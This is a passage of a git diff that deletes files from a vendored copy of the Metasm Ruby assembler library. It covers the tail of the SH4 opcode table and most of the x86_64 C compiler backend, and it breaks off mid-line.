'cmp/eq', 0b10001000 << 8, :s8, :r0 - addop 'cmp/ge', 0b0011 << 12 | 0b0011, :rm, :rn - addop 'cmp/gt', 0b0011 << 12 | 0b0111, :rm, :rn - addop 'cmp/hi', 0b0011 << 12 | 0b0110, :rm, :rn - addop 'cmp/hs', 0b0011 << 12 | 0b0010, :rm, :rn - addop 'cmp/pl', 0b0100 << 12 | 0b00010101, :rn - addop 'cmp/pz', 0b0100 << 12 | 0b00010001, :rn - addop 'cmp/str', 0b0010 << 12 | 0b1100, :rm, :rn - - addop 'div0s', 0b0010 << 12 | 0b0111, :rm, :rn - addop 'div0u', 0b0000000000011001 - addop 'div1', 0b0011 << 12 | 0b0100, :rm, :rn - - addop 'dmuls.l', 0b0011 << 12 | 0b1101, :rm, :rn - addop 'dmulu.l', 0b0011 << 12 | 0b0101, :rm, :rn - - addop 'dt', 0b0100 << 12 | 0b00010000, :rn - - addop 'exts.b', 0b0110 << 12 | 0b1110, :rm, :rn - addop 'exts.w', 0b0110 << 12 | 0b1111, :rm, :rn - addop 'extu.b', 0b0110 << 12 | 0b1100, :rm, :rn - addop 'extu.w', 0b0110 << 12 | 0b1101, :rm, :rn - - # fpu instructions - addop 'fabs', 0b1111 << 12 | 0b001011101, :drn - addop 'fabs', 0b1111 << 12 | 0b01011101, :frn - - addop 'fadd', 0b1111 << 12 | 0b0 << 8 | 0b00000, :drm, :drn - addop 'fadd', 0b1111 << 12 | 0b0000, :frm, :frn - - addop 'fcmp/eq', 0b1111 << 12 | 0b0 << 8 | 0b00100, :drm, :drn - addop 'fcmp/eq', 0b1111 << 12 | 0b0100, :frm, :frn - - addop 'fcmp/gt', 0b1111 << 12 | 0b0 << 8 | 0b00101, :drm, :drn - addop 'fcmp/gt', 0b1111 << 12 | 0b0101, :frm, :frn - - addop 'fcnvds', 0b1111 << 12 | 0b010111101, :drn, :fpul - addop 'fcnvsd', 0b1111 << 12 | 0b010101101, :fpul, :drn - - addop 'fdiv', 0b1111 << 12 | 0b0 << 8 | 0b00011, :drm, :drn - addop 'fdiv', 0b1111 << 12 | 0b0011, :frm, :frn - addop 'fipr', 0b1111 << 12 | 0b11101101, :fvm, :fvn - - addop 'flds', 0b1111 << 12 | 0b00011101, :frn, :fpul - addop 'fldi0', 0b1111 << 12 | 0b10001101, :frn - addop 'fldi1', 0b1111 << 12 | 0b10011101, :frn - - addop 'float', 0b1111 << 12 | 0b000101101, :fpul, :drn - addop 'float', 0b1111 << 12 | 0b00101101, :fpul, :frn - - addop 'fmac', 0b1111 << 12 | 0b1110, :fr0, :frm, :frn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b01100, :drm, :drn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b01100, :drm, :xdn - addop 'fmov', 0b1111 << 12 | 0b01010, :drm, :@rn - addop 'fmov', 0b1111 << 12 | 0b01011, :drm, :@_rn - addop 'fmov', 0b1111 << 12 | 0b00111, :drm, :@r0rn - - addop 'fmov.s', 0b1111 << 12 | 0b1100, :frm, :frn - addop 'fmov.s', 0b1111 << 12 | 0b1010, :frm, :@rn - addop 'fmov.s', 0b1111 << 12 | 0b1011, :frm, :@_rn - addop 'fmov.s', 0b1111 << 12 | 0b0111, :frm, :@r0rn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b11100, :xdm, :drn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b11100, :xdm, :xdn - addop 'fmov', 0b1111 << 12 | 0b11010, :xdm, :@rn - addop 'fmov', 0b1111 << 12 | 0b11011, :xdm, :@_rn - addop 'fmov', 0b1111 << 12 | 0b10111, :xdm, :@r0rn - - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b1000, :@rm, :drn - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b1001, :@rm_, :drn - addop 'fmov', 0b1111 << 12 | 0b0 << 8 | 0b0110, :@r0rm, :drn - - addop 'fmov.s', 0b1111 << 12 | 0b1000, :@rm, :frn - addop 'fmov.s', 0b1111 << 12 | 0b1001, :@rm_, :frn - addop 'fmov.s', 0b1111 << 12 | 0b0110, :@r0rm, :frn - - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b1000, :@rm, :xdn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b1001, :@rm_, :xdn - addop 'fmov', 0b1111 << 12 | 0b1 << 8 | 0b0110, :@r0rm, :xdn - - addop 'fmul', 0b1111 << 12 | 0b0 << 8 | 0b00010, :drm, :drn - addop 'fmul', 0b1111 << 12 | 0b0010, :frm, :frn - - addop 'fneg', 0b1111 << 12 | 0b001001101, :drn - addop 'fneg', 0b1111 << 12 | 0b01001101, :frn - - addop 'frchg', 0b1111101111111101 - addop 'fschg', 0b1111001111111101 - - addop 'fsqrt', 0b1111 << 12 | 0b001101101, :drn - addop 'fsqrt', 0b1111 << 12 | 0b01101101, :frn - addop 'fsts', 0b1111 << 12 | 0b00001101, :fpul, :frn - - addop 'fsub', 0b1111 << 12 | 0b0 << 8 | 0b00001, :@drm, :drn - addop 'fsub', 0b1111 << 12 | 0b0001, :frm, :frn - - addop 'ftrc', 0b1111 << 12 | 0b000111101, :drn, :fpul - addop 'ftrc', 0b1111 << 12 | 0b00111101, :frn, :fpul - addop 'ftrv', 0b1111 << 12 | 0b0111111101, :xmtrx, :fvn - - addop 'jmp', 0b0100 << 12 | 0b00101011, :rn, :setip, :stopexec, :delay_slot - addop 'jsr', 0b0100 << 12 | 0b00001011, :rn, :setip, :saveip, :stopexec, :delay_slot - - addop 'ldc', 0b0100 << 12 | 0b00011110, :rn, :gbr - addop 'ldc', 0b0100 << 12 | 0b00001110, :rn, :sr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b00101110, :rn, :vbr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b00111110, :rn, :ssr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b01001110, :rn, :spc # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b11111010, :rn, :dbr # privileged instruction - addop 'ldc', 0b0100 << 12 | 0b1 << 7 | 0b1110, :rn, :rn_bank # privileged instruction - - addop 'ldc.l', 0b0100 << 12 | 0b00010111, :@rn_, :gbr - addop 'ldc.l', 0b0100 << 12 | 0b00000111, :@rn_, :sr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b00100111, :@rn_, :vbr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b00110111, :@rn_, :ssr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b01000111, :@rn_, :spc # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b11110110, :@rn_, :dbr # privileged instruction - addop 'ldc.l', 0b0100 << 12 | 0b1 << 7 | 0b0111, :@rn_, :rn_bank # privileged instruction - - addop 'lds', 0b0100 << 12 | 0b01101010, :rn, :fpscr - addop 'lds.l', 0b0100 << 12 | 0b01100110, :@rn_, :fpscr - addop 'lds', 0b0100 << 12 | 0b01011010, :rn, :fpul - addop 'lds.l', 0b0100 << 12 | 0b01010110, :@rn_, :fpul - addop 'lds', 0b0100 << 12 | 0b00001010, :rn, :mach - addop 'lds.l', 0b0100 << 12 | 0b00000110, :@rn_, :mach - addop 'lds', 0b0100 << 12 | 0b00011010, :rn, :macl - addop 'lds.l', 0b0100 << 12 | 0b00010110, :@rn_, :macl - addop 'lds', 0b0100 << 12 | 0b00101010, :rn, :pr - addop 'lds.l', 0b0100 << 12 | 0b00100110, :@rn_, :pr - - addop 'ldtlb', 0b0000000000111000 - - addop 'mac.l', 0b0000 << 12 | 0b1111, :@rm_, :@rn_ - addop 'mac.w', 0b0100 << 12 | 0b1111, :@rm_, :@rn_ - - addop 'mov', 0b0110 << 12 | 0b0011, :rm, :rn - addop 'mov', 0b1110 << 12, :s8, :rn - - addop 'mov.b', 0b0010 << 12 | 0b0000, :rm, :@rn - addop 'mov.b', 0b0010 << 12 | 0b0100, :rm, :@_rn - addop 'mov.b', 0b0000 << 12 | 0b0100, :rm, :@r0rn - addop 'mov.b', 0b11000000 << 8, :r0, :@dispgbr - addop 'mov.b', 0b10000000 << 8, :r0, :@dispr0rn - addop 'mov.b', 0b0110 << 12 | 0b0000, :@rm, :rn - addop 'mov.b', 0b0110 << 12 | 0b0100, :@rm_, :rn - addop 'mov.b', 0b0000 << 12 | 0b1100, :@r0rm, :rn - addop 'mov.b', 0b11000100 << 8, :@dispgbr, :r0 - addop 'mov.b', 0b10000100 << 8, :@dispr0rn, :r0 - - addop 'mov.l', 0b0010 << 12 | 0b0010, :rm, :@rn - addop 'mov.l', 0b0010 << 12 | 0b0110, :rm, :@_rn - addop 'mov.l', 0b0000 << 12 | 0b0110, :rm, :@r0rn - addop 'mov.l', 0b11000010 << 8, :r0, :@dispgbr - addop 'mov.l', 0b0001 << 12, :rm, :@disprmrn - addop 'mov.l', 0b0110 << 12 | 0b0010, :@rm, :rn - addop 'mov.l', 0b0110 << 12 | 0b0110, :@rm_, :rn - addop 'mov.l', 0b0000 << 12 | 0b1110, :@r0rm, :rn - addop 'mov.l', 0b11000110 << 8, :@dispgbr, :r0 - addop 'mov.l', 0b1101 << 12, :@disppc, :rn - addop 'mov.l', 0b0101 << 12, :@disprm, :rn - - addop 'mov.w', 0b0010 << 12 | 0b0001, :rm, :@rn - addop 'mov.w', 0b0010 << 12 | 0b0101, :rm, :@_rn - addop 'mov.w', 0b0000 << 12 | 0b0101, :rm, :@r0rn - addop 'mov.w', 0b11000001 << 8, :r0, :@dispgbr - addop 'mov.w', 0b10000001 << 8, :r0, :@dispr0rn - addop 'mov.w', 0b0110 << 12 | 0b0001, :@rm, :rn - addop 'mov.w', 0b0110 << 12 | 0b0101, :@rm_, :rn - addop 'mov.w', 0b0000 << 12 | 0b1101, :@r0rm, :rn - addop 'mov.w', 0b11000101 << 8, :@dispgbr, :r0 - addop 'mov.w', 0b1001 << 12, :@disppc, :rn - addop 'mov.w', 0b10000101 << 8, :@disprm, :r0 - - addop 'mova', 0b11000111 << 8, :disppc, :r0 # calculates an effective address using PC-relative with displacement addressing - addop 'movca.l', 0b0000 << 12 | 11000011, :r0, :@rn # stores the long-word in R0 to memory at the effective address specified in Rn. - - addop 'movt', 0b0000 << 12 | 0b00101001, :rn # copies the T-bit to Rn - - addop 'mul.l', 0b0000 << 12 | 0b0111, :rm, :rn - addop 'muls.w', 0b0010 << 12 | 0b1111, :rm, :rn - addop 'mulu.w', 0b0010 << 12 | 0b1110, :rm, :rn - - addop 'neg', 0b0110 << 12 | 0b1011, :rm, :rn - addop 'negc', 0b0110 << 12 | 0b1010, :rm, :rn - - addop 'nop', 0b0000000000001001 - - addop 'not', 0b0110 << 12 | 0b0111, :rm, :rn - - addop 'ocbi', 0b0000 << 12 | 0b10010011, :@rn # invalidates an operand cache block - addop 'ocbp', 0b0000 << 12 | 0b10100011, :@rn # purges an operand cache block - addop 'ocbwb', 0b0000 << 12 | 0b10110011, :@rn # write-backs an operand cache block - - addop 'or', 0b0010 << 12 | 0b1011, :rm, :rn - addop 'or', 0b11001011 << 8, :i8, :r0 - addop 'or.b', 0b11001111 << 8, :i8, :@r0gbr - - addop 'pref', 0b0000 | 0b10000011, :@rn # indicates a software-directed data prefetch - - addop 'rotcl', 0b0100 | 0b00100100, :rn - addop 'rotcr', 0b0100 | 0b00100101, :rn - addop 'rotl', 0b0100 | 0b00000100, :rn - addop 'rotr', 0b0100 | 0b00000101, :rn - - addop 'rte', 0b0000000000101011, :setip, :stopexec, :delay_slot # returns from an exception or interrupt handling routine, privileged instruction - addop 'rts', 0b0000000000001011, :setip, :stopexec, :delay_slot # returns from a subroutine - - addop 'sets', 0b0000000001011000 - addop 'sett', 0b0000000000011000 - - addop 'shad', 0b0100 << 12 | 0b1100, :rm, :rn - addop 'shal', 0b0100 << 12 | 0b00100000, :rn - addop 'shar', 0b0100 << 12 | 0b00100001, :rn - addop 'shld', 0b0100 << 12 | 0b1101, :rm, :rn - addop 'shll', 0b0100 << 12 | 0b00000000, :rn - addop 'shll2', 0b0100 << 12 | 0b00001000, :rn - addop 'shll8', 0b0100 << 12 | 0b00011000, :rn - addop 'shll16', 0b0100 << 12 | 0b00101000, :rn - addop 'shlr', 0b0100 << 12 | 0b00000001, :rn - addop 'shlr2', 0b0100 << 12 | 0b00001001, :rn - addop 'shlr8', 0b0100 << 12 | 0b00011001, :rn - addop 'shlr16', 0b0100 << 12 | 0b00101001, :rn - - addop 'sleep', 0b0000000000011011 # privileged instruction - - addop 'stc', 0b0000 << 12 | 0b00000010, :sr, :rn - addop 'stc', 0b0000 << 12 | 0b00100010, :vbr, :rn - addop 'stc', 0b0000 << 12 | 0b00110010, :ssr, :rn - addop 'stc', 0b0000 << 12 | 0b01000010, :spc, :rn - addop 'stc', 0b0000 << 12 | 0b00111010, :sgr, :rn - addop 'stc', 0b0000 << 12 | 0b11111010, :dbr, :rn - addop 'stc', 0b0000 << 12 | 0b1 << 7 | 0b0010, :rm_bank, :@_rn - addop 'stc', 0b0000 << 12 | 0b00010010, :gbr, :rn - - addop 'stc.l', 0b0100 << 12 | 0b00000011, :sr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00100011, :vbr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00110011, :ssr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b01000011, :spc, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00110010, :sgr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b11110010, :dbr, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b1 << 7 | 0b0011, :rm_bank, :@_rn - addop 'stc.l', 0b0100 << 12 | 0b00010011, :gbr, :@_rn - - addop 'sts', 0b0000 << 12 | 0b01101010, :fpscr, :rn - addop 'sts.l', 0b0100 << 12 | 0b01100010, :fpscr, :@_rn - addop 'sts', 0b0000 << 12 | 0b01011010, :fpul, :rn - addop 'sts.l', 0b0100 << 12 | 0b01010010, :fpul, :@_rn - addop 'sts', 0b0000 << 12 | 0b00001010, :mach, :rn - addop 'sts.l', 0b0100 << 12 | 0b00000010, :mach, :@_rn - addop 'sts', 0b0000 << 12 | 0b00011010, :macl, :rn - addop 'sts.l', 0b0100 << 12 | 0b00010010, :macl, :@_rn - addop 'sts', 0b0000 << 12 | 0b00101010, :pr, :rn - addop 'sts.l', 0b0100 << 12 | 0b00100010, :pr, :@_rn - - addop 'sub', 0b0011 << 12 | 0b1000, :rm, :rn - addop 'subc', 0b0011 << 12 | 0b1010, :rm, :rn - addop 'subv', 0b0011 << 12 | 0b1011, :rm, :rn - - addop 'swap.b', 0b0110 << 12 | 0b1000, :rm, :rn - addop 'swap.w', 0b0110 << 12 | 0b1001, :rm, :rn - - addop 'tas.b', 0b0100 << 12 | 0b00011011, :@rn - addop 'trapa', 0b11000011 << 8, :i8, :setip, :stopexec # This instruction causes a pre-execution trap. - - addop 'tst', 0b0010 << 12 | 0b1000, :rm, :rn - addop 'tst', 0b11001000 << 8, :i8, :r0 - addop 'tst.b', 0b11001100 << 8, :i8, :@r0gbr - - addop 'xor', 0b0010 << 12 | 0b1010, :rm, :rn - addop 'xor', 0b11001010 << 8, :i8, :r0 - addop 'xob.b', 0b11001110 << 8, :i8, :@r0gbr - - addop 'xtrct', 0b0010 << 12 | 0b1101, :rm, :rn - end - -end - -end diff --git a/lib/metasm/metasm/x86_64.rb b/lib/metasm/metasm/x86_64.rb deleted file mode 100644 index 472d12f8c3..0000000000 --- a/lib/metasm/metasm/x86_64.rb +++ /dev/null @@ -1,12 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/x86_64/parse' -require 'metasm/x86_64/encode' -require 'metasm/x86_64/decode' -require 'metasm/x86_64/debug' -require 'metasm/x86_64/compile_c' diff --git a/lib/metasm/metasm/x86_64/compile_c.rb b/lib/metasm/metasm/x86_64/compile_c.rb deleted file mode 100644 index 4832b0349a..0000000000 --- a/lib/metasm/metasm/x86_64/compile_c.rb +++ /dev/null @@ -1,1025 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/x86_64/parse' -require 'metasm/compile_c' - -module Metasm -class X86_64 -class CCompiler < C::Compiler - # holds compiler state information for a function - # registers are saved as register number (see Reg) - class State - # variable => offset from ebp (::Integer or CExpression) - attr_accessor :offset - # the current function - attr_accessor :func - # register => CExpression - attr_accessor :cache - # array of register values used in the function (to save/restore at prolog/epilog) - attr_accessor :dirty - # the array of register values currently not available - attr_accessor :used - # the array of args in use (reg/modrm) the reg dependencies are in +used+ - attr_accessor :inuse - # variable => register for current scope (variable never on the stack) - # bound registers are also in +used+ - attr_accessor :bound - # list of reg values that are used as func args in current ABI - attr_accessor :regargs - # stack space reserved for subfunction in ABI - attr_accessor :args_space - # list of reg values that are not kept across function call - attr_accessor :abi_flushregs_call - # list of regs we can trash without restoring them - attr_accessor :abi_trashregs - - # +used+ includes ebp if true - # nil if ebp is not reserved for stack variable addressing - # Reg if used - attr_accessor :saved_rbp - - def initialize(func) - @func = func - @offset = {} - @cache = {} - @dirty = [] - @used = [4] # rsp is always in use - @inuse = [] - @bound = {} - @regargs = [] - @args_space = 0 - @abi_flushregs_call = [0, 1, 2, 6, 7, 8, 9, 10, 11] - @abi_trashregs = @abi_flushregs_call.dup - end - end - - # some address - class Address - attr_accessor :modrm, :target - def initialize(modrm, target=nil) - @modrm, @target = modrm, target - end - def sz; @modrm.adsz end - def to_s; "#" end - end - - - def initialize(*a) - super(*a) - @cpusz = 64 - @regnummax = 15 - end - - # shortcut to add an instruction to the source - def instr(name, *args) - # XXX parse_postfix ? - @source << Instruction.new(@exeformat.cpu, name, args) - end - - # returns an available register, tries to find one not in @state.cache - # do not use with sz==8 (aliasing ah=>esp) - # does not put it in @state.inuse - def findreg(sz = @cpusz) - caching = @state.cache.keys.grep(Reg).map { |r| r.val } - if not regval = (@state.abi_trashregs - @state.used - caching).first || - ([*0..@regnummax] - @state.used).first - raise 'need more registers! (or a better compiler?)' - end - getreg(regval, sz) - end - - # returns a Reg from a regval, mark it as dirty, flush old cache dependencies - def getreg(regval, sz=@cpusz) - flushcachereg(regval) - @state.dirty |= [regval] - Reg.new(regval, sz) - end - - # remove the cache keys that depends on the register - def flushcachereg(regval) - @state.cache.delete_if { |e, val| - case e - when Reg; e.val == regval - when Address; e = e.modrm ; redo - when ModRM; e.b && (e.b.val == regval) or e.i && (e.i.val == regval) - end - } - end - - # removes elements from @state.inuse, free @state.used if unreferenced - # must be the exact object present in inuse - def unuse(*vals) - vals.each { |val| - val = val.modrm if val.kind_of? Address - @state.inuse.delete val - } - # XXX cache exempt - exempt = @state.bound.values.map { |r| r.val } - exempt << 4 - exempt << 5 if @state.saved_rbp - @state.used.delete_if { |regval| - next if exempt.include? regval - not @state.inuse.find { |val| - case val - when Reg; val.val == regval - when ModRM; (val.b and val.b.val == regval) or (val.i and val.i.val == regval) - else raise 'internal error - inuse ' + val.inspect - end - } - } - end - - # marks an arg as in use, returns the arg - def inuse(v) - case v - when Reg; @state.used |= [v.val] - when ModRM - @state.used |= [v.i.val] if v.i - @state.used |= [v.b.val] if v.b - when Address; inuse v.modrm ; return v - else return v - end - @state.inuse |= [v] - v - end - - # returns a variable storage (ModRM for stack/global, Reg/Composite for register-bound) - def findvar(var) - if ret = @state.bound[var] - return ret - end - - if ret = @state.cache.index(var) - ret = ret.dup - inuse ret - return ret - end - - sz = 8*sizeof(var) rescue nil # extern char foo[]; - - case off = @state.offset[var] - when C::CExpression - # stack, dynamic address - # TODO - # no need to update state.cache here, never recursive - v = raise "find dynamic addr of #{var.name}" - when ::Integer - # stack - # TODO -fomit-frame-pointer ( => state.cache dependant on stack_offset... ) - v = ModRM.new(@cpusz, sz, nil, nil, @state.saved_rbp, Expression[-off]) - when nil - # global - if @exeformat.cpu.generate_PIC - v = ModRM.new(@cpusz, sz, nil, nil, Reg.from_str('rip'), Expression[var.name, :-, '$_']) - else - v = ModRM.new(@cpusz, sz, nil, nil, nil, Expression[var.name]) - end - end - - case var.type - when C::Array; inuse Address.new(v) - else inuse v - end - end - - # resolves the Address to Reg/Expr (may encode an 'lea') - def resolve_address(e) - r = e.modrm - unuse e - if r.imm and not r.b and not r.i - reg = r.imm - elsif not r.imm and ((not r.b and r.s == 1) or not r.i) - reg = r.b || r.i - elsif reg = @state.cache.index(e) - reg = reg.dup - else - reg = findreg - r.sz = reg.sz - instr 'lea', reg, r - end - inuse reg - @state.cache[reg] = e - reg - end - - # copies the arg e to a volatile location (register/composite) if it is not already - # unuses the old storage - # may return a register bigger than the type size (eg __int8 are stored in full reg size) - def make_volatile(e, type, rsz=@cpusz) - if e.kind_of? ModRM or @state.bound.index(e) - if type.integral? or type.pointer? - oldval = @state.cache[e] - unuse e - sz = typesize[type.pointer? ? :ptr : type.name]*8 - if sz < @cpusz or sz < rsz or e.sz < rsz - e2 = inuse findreg(rsz) - op = ((type.specifier == :unsigned) ? 'movzx' : 'movsx') - op = 'mov' if e.sz == e2.sz - if e2.sz == 64 and e.sz == 32 - if op == 'movsx' - instr 'movsxd', e2, e - else - instr 'mov', Reg.new(e2.val, 32), e - end - else - instr op, e2, e - end - else - e2 = inuse findreg(sz) - instr 'mov', e2, e - end - @state.cache[e2] = oldval if oldval and e.kind_of? ModRM - e2 - elsif type.float? - raise 'float unhandled' - else raise - end - elsif e.kind_of? Address - make_volatile resolve_address(e), type, rsz - elsif e.kind_of? Expression - if type.integral? or type.pointer? - e2 = inuse findreg - instr 'mov', e2, e - e2 - elsif type.float? - raise 'float unhandled' - end - else - e - end - end - - # takes an argument, if the argument is an integer that does not fit in an i32, moves it to a temp reg - # the reg is unused, so use this only right when generating the offending instr (eg cmp, add..) - def i_to_i32(v) - if v.kind_of? Expression and i = v.reduce and i.kind_of?(Integer) - i &= 0xffff_ffff_ffff_ffff - if i <= 0x7fff_ffff - elsif i >= (1<<64)-0x8000_0000 - v = Expression[Expression.make_signed(i, 64)] - else - v = make_volatile(v) - unuse v - end - end - v - end - - # returns the instruction suffix for a comparison operator - def getcc(op, type) - case op - when :'=='; 'z' - when :'!='; 'nz' - when :'<' ; 'b' - when :'>' ; 'a' - when :'<='; 'be' - when :'>='; 'ae' - else raise "bad comparison op #{op}" - end.tr((type.specifier == :unsigned ? '' : 'ab'), 'gl') - end - - # compiles a c expression, returns an X64 instruction argument - def c_cexpr_inner(expr) - case expr - when ::Integer; Expression[expr] - when C::Variable; findvar(expr) - when C::CExpression - if not expr.lexpr or not expr.rexpr - inuse c_cexpr_inner_nol(expr) - else - inuse c_cexpr_inner_l(expr) - end - when C::Label; findvar(C::Variable.new(expr.name, C::Array.new(C::BaseType.new(:void), 1))) - else puts "c_ce_i: unsupported #{expr}" if $VERBOSE - end - end - - # compile a CExpression with no lexpr - def c_cexpr_inner_nol(expr) - case expr.op - when nil - r = c_cexpr_inner(expr.rexpr) - if (expr.rexpr.kind_of? C::CExpression or expr.rexpr.kind_of? C::Variable) and - expr.type.kind_of? C::BaseType and expr.rexpr.type.kind_of? C::BaseType - r = c_cexpr_inner_cast(expr, r) - end - r - when :+ - c_cexpr_inner(expr.rexpr) - when :- - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.type) - if expr.type.integral? or expr.type.pointer? - instr 'neg', r - elsif expr.type.float? - raise 'float unhandled' - else raise - end - r - when :'++', :'--' - r = c_cexpr_inner(expr.rexpr) - inc = true if expr.op == :'++' - if expr.type.integral? or expr.type.pointer? - op = (inc ? 'inc' : 'dec') - instr op, r - elsif expr.type.float? - raise 'float unhandled' - end - r - when :& - raise 'bad precompiler ' + expr.to_s if not expr.rexpr.kind_of? C::Variable - @state.cache.each { |r_, c| - return inuse(r_) if c.kind_of? Address and c.target == expr.rexpr - } - r = c_cexpr_inner(expr.rexpr) - raise 'bad lvalue' if not r.kind_of? ModRM - unuse r - r = Address.new(r) - inuse r - r.target = expr.rexpr - r - when :* - expr.rexpr.type.name = :ptr if expr.rexpr.kind_of? C::CExpression and expr.rexpr.type.kind_of? C::BaseType and typesize[expr.rexpr.type.name] == typesize[:ptr] # hint to use Address - e = c_cexpr_inner(expr.rexpr) - sz = 8*sizeof(expr) - case e - when Address - unuse e - e = e.modrm.dup - e.sz = sz - inuse e - when ModRM; e = make_volatile(e, expr.rexpr.type) - end - case e - when Reg; unuse e ; e = inuse ModRM.new(@cpusz, sz, nil, nil, e, nil) - when Expression; e = inuse ModRM.new(@cpusz, sz, nil, nil, nil, e) - end - e - when :'!' - r = c_cexpr_inner(expr.rexpr) - r = make_volatile(r, expr.rexpr.type) - if expr.rexpr.type.integral? or expr.type.pointer? - r = make_volatile(r, expr.rexpr.type) - instr 'test', r, r - elsif expr.rexpr.type.float? - raise 'float unhandled' - else raise 'bad comparison ' + expr.to_s - end - instr 'setz', Reg.new(r.val, 8) - instr 'and', r, Expression[1] - r - else raise 'mmh ? ' + expr.to_s - end - end - - # compile a cast (BaseType to BaseType) - def c_cexpr_inner_cast(expr, r) - if expr.type.float? or expr.rexpr.type.float? - raise 'float unhandled' - elsif (expr.type.integral? or expr.type.pointer?) and (expr.rexpr.type.integral? or expr.rexpr.type.pointer?) - tto = typesize[expr.type.pointer? ? :ptr : expr.type.name]*8 - tfrom = typesize[expr.rexpr.type.pointer? ? :ptr : expr.rexpr.type.name]*8 - r = resolve_address r if r.kind_of? Address - if r.kind_of? Expression - r = make_volatile r, expr.type - elsif tfrom > tto - case r - when ModRM - unuse r - r = r.dup - r.sz = tto - inuse r - when Reg - if r.sz == 64 and tto == 32 - instr 'mov', Reg.new(r.val, tto), Reg.new(r.val, tto) - else - instr 'and', r, Expression[(1< tto - end - end - elsif tto > tfrom - if not r.kind_of? Reg or r.sz != @cpusz - unuse r - reg = inuse findreg - op = (r.sz == reg.sz ? 'mov' : (expr.rexpr.type.specifier == :unsigned ? 'movzx' : 'movsx')) - if reg.sz == 64 and r.sz == 32 - if op == 'movsx' - instr 'movsxd', reg, r - else - instr 'mov', Reg.new(reg.val, 32), r - end - else - instr op, reg, r - end - r = reg - end - end - else raise - end - r - end - - # compiles a CExpression, not arithmetic (assignment, comparison etc) - def c_cexpr_inner_l(expr) - case expr.op - when :funcall - c_cexpr_inner_funcall(expr) - when :'+=', :'-=', :'*=', :'/=', :'%=', :'^=', :'&=', :'|=', :'<<=', :'>>=' - l = c_cexpr_inner(expr.lexpr) - raise 'bad lvalue' if not l.kind_of? ModRM and not @state.bound.index(l) - r = c_cexpr_inner(expr.rexpr) - op = expr.op.to_s.chop.to_sym - c_cexpr_inner_arith(l, op, r, expr.type) - l - when :'+', :'-', :'*', :'/', :'%', :'^', :'&', :'|', :'<<', :'>>' - # both sides are already cast to the same type by the precompiler - # XXX fptrs are not #integral? ... - if expr.type.integral? and expr.type.name == :ptr and expr.lexpr.type.kind_of? C::BaseType and - typesize[expr.lexpr.type.name] == typesize[:ptr] - expr.lexpr.type.name = :ptr - end - l = c_cexpr_inner(expr.lexpr) - l = make_volatile(l, expr.type) if not l.kind_of? Address - if expr.type.integral? and expr.type.name == :ptr and l.kind_of? Reg - unuse l - l = Address.new ModRM.new(l.sz, @cpusz, nil, nil, l, nil) - inuse l - end - if l.kind_of? Address and expr.type.integral? - l.modrm.imm = nil if l.modrm.imm and not l.modrm.imm.op and l.modrm.imm.rexpr == 0 - if l.modrm.b and l.modrm.i and l.modrm.s == 1 and l.modrm.b.val == l.modrm.i.val - unuse l.modrm.b if l.modrm.b != l.modrm.i - l.modrm.b = nil - l.modrm.s = 2 - end - case expr.op - when :+ - rexpr = expr.rexpr - rexpr = rexpr.rexpr while rexpr.kind_of? C::CExpression and not rexpr.op and rexpr.type.integral? and - rexpr.rexpr.kind_of? C::CExpression and rexpr.rexpr.type.integral? and - typesize[rexpr.type.name] == typesize[rexpr.rexpr.type.name] - if rexpr.kind_of? C::CExpression and rexpr.op == :* and rexpr.lexpr - r1 = c_cexpr_inner(rexpr.lexpr) - r2 = c_cexpr_inner(rexpr.rexpr) - r1, r2 = r2, r1 if r1.kind_of? Expression - if r2.kind_of? Expression and [1, 2, 4, 8].include?(rr2 = r2.reduce) - case r1 - when ModRM, Address, Reg - r1 = make_volatile(r1, rexpr.type) if not r1.kind_of? Reg - if not l.modrm.i or (l.modrm.i.val == r1.val and l.modrm.s == 1 and rr2 == 1) - unuse l, r1, r2 - l = Address.new(l.modrm.dup) - inuse l - l.modrm.i = r1 - l.modrm.s = (l.modrm.s || 0) + rr2 - return l - end - end - end - r = make_volatile(r1, rexpr.type) - c_cexpr_inner_arith(r, :*, r2, rexpr.type) - else - r = c_cexpr_inner(rexpr) - end - r = resolve_address r if r.kind_of? Address - r = make_volatile(r, rexpr.type) if r.kind_of? ModRM - case r - when Reg - unuse l - l = Address.new(l.modrm.dup) - inuse l - if l.modrm.b - if not l.modrm.i or (l.modrm.i.val == r.val and l.modrm.s == 1) - l.modrm.i = r - l.modrm.s = (l.modrm.s || 0) + 1 - unuse r - return l - end - else - l.modrm.b = r - unuse r - return l - end - when Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :+, r] - return l - end - when :- - r = c_cexpr_inner(expr.rexpr) - if r.kind_of? Expression - unuse l, r - l = Address.new(l.modrm.dup) - inuse l - l.modrm.imm = Expression[l.modrm.imm, :-, r] - return l - end - when :* - r = c_cexpr_inner(expr.rexpr) - if r.kind_of? Expression and [1, 2, 4, 8].includre?(rr = r.reduce) - if l.modrm.b and not l.modrm.i - if rr 